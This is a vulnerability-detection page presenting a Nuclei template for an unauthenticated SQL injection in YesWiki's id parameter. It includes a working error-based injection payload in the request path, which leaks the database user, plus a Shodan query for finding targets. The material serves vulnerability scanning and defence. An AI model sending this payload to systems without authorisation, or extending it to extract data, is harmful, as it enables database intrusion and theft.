YesWiki <2022-07-07 - SQL Injection

ID: yeswiki-sql

Severity: critical

Author: arafatansari

Tags: yeswiki,sqli,huntr

Description

YesWiki before 2022-07-07 contains a SQL injection vulnerability via the id parameter in the AccueiL URL. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: yeswiki-sql

info:
  name: YesWiki <2022-07-07 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    YesWiki before 2022-07-07 contains a SQL injection vulnerability via the id parameter in the AccueiL URL. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://huntr.dev/bounties/32e27955-376a-48fe-9984-87dd77e24985
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
    cpe: cpe:2.3:a:yeswiki:cercopitheque:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"yeswiki"
    product: cercopitheque
    vendor: yeswiki
  tags: yeswiki,sqli,huntr
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5({{num}}),1,user()))))--+-'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3f'

      - type: status
        status:
          - 200
# digest: 4a0a004730450220453a25bb9645259c6d19d974f6e6f4d540abca466d8cb4806ca2a04a19c6b9d2022100833032ca1d4cad732e165157a48bc2086c600483a8751c3ad7f08892386caa4d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/yeswiki-sql.yaml"

View on Github